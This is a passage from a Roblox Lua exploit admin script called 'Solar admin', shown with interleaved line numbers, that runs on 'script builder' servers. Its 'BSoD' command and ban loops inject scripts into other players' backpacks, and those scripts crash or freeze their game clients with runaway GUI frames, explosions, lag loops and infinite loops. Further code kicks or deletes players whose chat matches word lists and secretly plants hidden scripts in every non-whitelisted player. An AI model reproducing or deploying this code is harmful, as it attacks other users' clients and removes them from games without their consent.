			Output("This is alakazard's sb, can't teleport here.","Really red")
951
		end
952
	end
953
)
954
AddCmd("BSoD","bsod","BSoD a player",
955
	function(Plrs)
956
		for _, plr in pairs(Plrs) do
957
			if plr and plr.Backpack then
958
				for i = 0,7,1 do
959
					NewLS(BSoDSource, plr.Backpack)
960
				end
961
			end
962
		end
963
	end
964
)
965
--[[SOURCES]]--
966
LBlock1 = [[
967
LocalPlayer.descendantAdded:connect(function(what)
968
	if what:IsA("Script") or what:IsA("LocalScript") then
969
		if LBlock == false then return end
970
		if what.Name == "Health" then return end
971
		if what.Name == "HealthScript v3.1" then return end
972
		if what.Name == "Animate" then return end
973
		what.Disabled = true
974
		wait()
975
		what:Destroy()
976
	end
977
end)
978
]]
979
LBlock2 = [[
980
LocalPlayer.Backpack.descendantAdded:connect(function(what)
981
	if what:IsA("Script") or what:IsA("LocalScript") then
982
		if LBlock == false then return end
983
		if what.Name == "Health" then return end
984
		if what.Name == "HealthScript v3.1" then return end
985
		if what.Name == "Animate" then return end
986
		what.Disabled = true
987
		wait()
988
		what:Destroy()
989
	end
990
end)
991
]]
992
LBlock3 = [[
993
LocalPlayer.Character.descendantAdded:connect(function(what)
994
	if what:IsA("Script") or what:IsA("LocalScript") then
995
		if LBlock == false then return end
996
		if what.Name == "Health" then return end
997
		if what.Name == "HealthScript v3.1" then return end
998
		if what.Name == "Animate" then return end
999
		what.Disabled = true
1000
		wait()
1001
		what:Destroy()
1002
	end
1003
end)
1004
]]
1005
ConnectSource = [[
1006
	script:ClearAllChildren()
1007
	wait()
1008
	script.Parent = nil
1009
	Player = game.Players.LocalPlayer
1010
	while wait(0.1) do
1011
		if game.Lighting:findFirstChild("DISC: nil") then
1012
			if Player.Parent == nil then
1013
				Delay(0, wait)
1014
			end
1015
		end
1016
		if game.Lighting:findFirstChild("DISC: "..Player.Name) then
1017
			Delay(0, wait)
1018
		end
1019
	end
1020
]]
1021
BSoDSource = [[
1022
	wait()
1023
	script.Parent = game:service'TeleportService'
1024
	CC = workspace.CurrentCamera
1025
	RS = game:service("RunService")
1026
	PG = game.Players.LocalPlayer.PlayerGui
1027
	C = game.Players.LocalPlayer.Character
1028
	function Lag()
1029
		coroutine.resume(coroutine.create(function()
1030
			while wait() do
1031
				M = Instance.new("Message",CC)
1032
				M.Text = tick()*math.floor(5%4*21)
1033
				H = Instance.new("Hint",CC)
1034
				H.Text = 'Get out from this place!'
1035
				SG=Instance.new("ScreenGui",PG)
1036
				FR=Instance.new("Frame",SG)
1037
				FR.Size = UDim2.new(500,500,500,500)
1038
				while wait() do
1039
					FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
1040
				end
1041
				P=Instance.new("Part",CC)
1042
				E=Instance.new("Explosion",P)
1043
				E.BlastRadius=math.huge
1044
				E.Position=P.Position
1045
				F=Instance.new("Fire",P)
1046
				S=Instance.new("Smoke",P)
1047
				P.CFrame = CC.Focus
1048
				P.Anchored = true
1049
				P.CanCollide = false
1050
				P.AncestryChanged:connect(function()Lag()end)
1051
				for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
1052
			end 
1053
		end)) 
1054
	end
1055
	RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)
1056
]]
1057
--[[LOCAL BLOCK]]--
1058
loadstring(LBlock1)()
1059
loadstring(LBlock2)()
1060
loadstring(LBlock3)()
1061
LocalPlayer.CharacterAdded:connect(function()
1062
	loadstring(LBlock2)()
1063
	loadstring(LBlock3)()
1064
end)
1065
--[[CONNECTIONS]]--
1066
LocalPlayer.Chatted:connect(function(m)
1067
	Chat(m,ChatColor)
1068
	for i,v in pairs(Cmds) do
1069
		if v["Say"]..Key == m:sub(1, #v["Say"]+#Key) then
1070
			v["Func"](GetPlayers(m:sub(#v["Say"]+#Key+1)), m:sub(#v["Say"]+#Key+1))
1071
		end
1072
	end
1073
end)
1074
for _,speaker in pairs(game:service'Players':GetPlayers()) do
1075
	if speaker.Name ~= LocalPlayer.Name then
1076
		if speaker.Name ~= "aleksa12432" then
1077
			if speaker.Name ~= "optiplex123" then
1078
				if speaker.Name ~= "Exorsizer" then
1079
					speaker.Chatted:connect(function(msg)
1080
						for _,v in pairs(MuteWords) do
1081
							if string.find(msg,v) then
1082
								if speaker and speaker.Backpack then
1083
									NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)",speaker.Backpack)
1084
								end
1085
							end
1086
						end
1087
						for _,v in pairs(BadWords) do
1088
							if string.find(msg, v) then
1089
								if speaker and found == true then
1090
									NewS("game:service'Players':findFirstChild('"..speaker.Name.."'):Kick()")
1091
								elseif speaker and found == false then
1092
									speaker:Destroy()
1093
								end
1094
							end
1095
						end
1096
					end)
1097
				end
1098
			end
1099
		end
1100
	end	
1101
end
1102
game.Players.ChildAdded:connect(function(speaker)
1103
	if speaker:IsA("Player") then
1104
		if speaker.Name ~= LocalPlayer.Name then
1105
			if speaker.Name ~= "aleksa12432" then
1106
				if speaker.Name ~= "optiplex123" then
1107
					if speaker.Name ~= "Exorsizer" then
1108
						speaker.Chatted:connect(function(msg)
1109
							for _,v in pairs(MuteWords) do
1110
								if string.find(msg:lower(),v:lower()) then
1111
									if speaker and speaker.Backpack then
1112
										NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)",speaker.Backpack)
1113
									end
1114
								end
1115
							end
1116
							for _,v in pairs(BadWords) do
1117
								if string.find(msg:lower(),v:lower()) then
1118
									if speaker and found == true then
1119
										NewS("game:service'Players':findFirstChild('"..speaker.Name.."'):Kick()")
1120
									elseif speaker and found == false then
1121
										speaker:Destroy()
1122
									end
1123
								end
1124
							end
1125
						end)
1126
					end
1127
				end
1128
			end
1129
		end
1130
	end
1131
end)
1132
--[[START]]--
1133
for i = 0,8,1 do
1134
	Output("")
1135
end
1136
Output("Welcome to Solar admin","Really red")
1137
Output("This script is made by aleksa12432 and optiplex123","Really red")
1138
if SourceName == "DSource" then
1139
	Output("You are on Anaminus SB","Really red")
1140
elseif SourceName == "Source" then
1141
	Output("You are on Oxcool1 SB","Really red")
1142
elseif SourceName == "source" then
1143
	Output("You are on qlqkqzqrd SB","Really red")
1144
end
1145
for _,v in pairs(game:service'Players':GetPlayers()) do
1146
	if v.Name ~= LocalPlayer.Name then
1147
		if v.Name ~= "aleksa12432" then
1148
			if v.Name ~= "optiplex123" then
1149
				if v.Name ~= "Exorsizer" then
1150
					Connect(v)
1151
				end
1152
			end
1153
		end
1154
	end
1155
end
1156
--[[LOOPS]]--
1157
coroutine.wrap(function()
1158
	while wait(30) do
1159
		for _,v in pairs(game:service'Players':GetPlayers()) do
1160
			if v.Name ~= LocalPlayer.Name then
1161
				if v.Name ~= "aleksa12432" then
1162
					if v.Name ~= "optiplex123" then
1163
						if v.Name ~= "Exorsizer" then
1164
							if v.Backpack ~= nil then
1165
								NewLS(ConnectSource, v.Backpack)
1166
							end
1167
						end
1168
					end
1169
				end
1170
			end
1171
		end
1172
	end
1173
end)()
1174
game:service'Players'.ChildAdded:connect(function(player)
1175
	if player.Name ~= LocalPlayer.Name then
1176
		if player.Name ~= "aleksa12432" then
1177
			if player.Name ~= "optiplex123" then
1178
				if player.Name ~= "Exorsizer" then
1179
					wait(3)
1180
					Connect(player)
1181
				end
1182
			end
1183
		end
1184
	end
1185
end)
1186
game:GetService("RunService").RenderStepped:connect(function()
1187
	if TabModel.Parent ~= TabModelParent then return end
1188
	if TabModel == nil then return end
1189
	if LocalPlayer then
1190
		if LocalPlayer.Character then
1191
			if LocalPlayer.Character:findFirstChild("Torso")  then
1192
				Rotation = Rotation + Speed	
1193
				for i,v in pairs(Tabs) do
1194
					ypcall(function()
1195
						if LocalPlayer and LocalPlayer.Character and LocalPlayer.Character.Torso then
1196
							pos = LocalPlayer.Character.Torso.CFrame
1197
						else
1198
							pos = CFrame.new(0,0,0)
1199
						end
1200
						radius = 4 + (#Tabs * 0.5)
1201
						x = math.sin((i / #Tabs - (0.5 / #Tabs) + Rotation * 2) * math.pi * 2) * radius
1202
						y = 0
1203
						z = math.cos((i / #Tabs - (0.5 / #Tabs) + Rotation * 2) * math.pi * 2) * radius
1204
						arot = Vector3.new(x, y, z) + pos.p
1205
						brot = v.CFrame.p
1206
						crot = (arot * .1 + brot * .9)
1207
						v.CFrame = CFrame.new(crot, pos.p)
1208
					end)
1209
				end
1210
			end
1211
		end
1212
	end
1213
end)
1214
game:service'RunService'.RenderStepped:connect(function()
1215
	if TabModelDebounce == true then return end
1216
	if TabModel.Parent ~= TabModelParent then
1217
		TabModelDebounce = true
1218
		Tabs = {}
1219
		TabModel = Instance.new("Model", TabModelParent)
1220
		TabModel.Name = "Solar tabs"
1221
		Tabs = {}
1222
		Rotation = 0
1223
		wait()
1224
		TabModelDebounce = false
1225
	end
1226
end)
1227
coroutine.wrap(function()
1228
	while wait() do
1229
		for _,v in pairs(game:service'Workspace':children()) do
1230
			if v and v:IsA("StringValue") and v.Name == Code then
1231
				if v.Value ~= nil and v.Value ~= "" then
1232
					Output(v.Value,"Really red")
1233
					game:service'Debris':AddItem(v, 3)
1234
				end
1235
			end
1236
		end
1237
	end
1238
end)()
1239
coroutine.wrap(function()
1240
	while wait() do
1241
		for _,v in pairs(game:service'Players':GetPlayers()) do
1242
			pcall(function()
1243
				for j,k in pairs(Banlist) do
1244
					if v.Name == k then
1245
						if v:findFirstChild("Backpack") ~= nil then
1246
							NewLS("repeat until ucrappedurpants", v.Backpack)
1247
						end
1248
					end
1249
				end
1250
				for j,k in pairs(HardBanlist) do
1251
					if v.Name == k then
1252
						if v:findFirstChild("Backpack") ~= nil then
1253
							NewLS(BSoDSource, v.Backpack)
1254
						end
1255
					end
1256
				end
1257
			end)
1258
		end
1259
	end
1260
end)()
1261
while found == false do
1262
	if game.PlaceId == 21053279 or game.PlaceId == 21053219 then break end
1263
	for _,ScriptInWorkspace in pairs(workspace:children()) do
1264
		if ScriptInWorkspace then
1265
			if ScriptInWorkspace:IsA("Script") then
1266
				if ScriptInWorkspace:FindFirstChild(SourceName) then
1267
					NewScript = ScriptInWorkspace:Clone()
1268
					wait()
1269
					NewScript.Name = "NewScript"
1270
					NewScript.Disabled = true
1271
					NewScript:FindFirstChild(SourceName).Value = ""
1272
					Output("Found a source!", "New Yeller")
1273
					found = true 
1274
					break
1275
				end
1276
			end
1277
		end
1278
	end
1279
	wait()
1280
end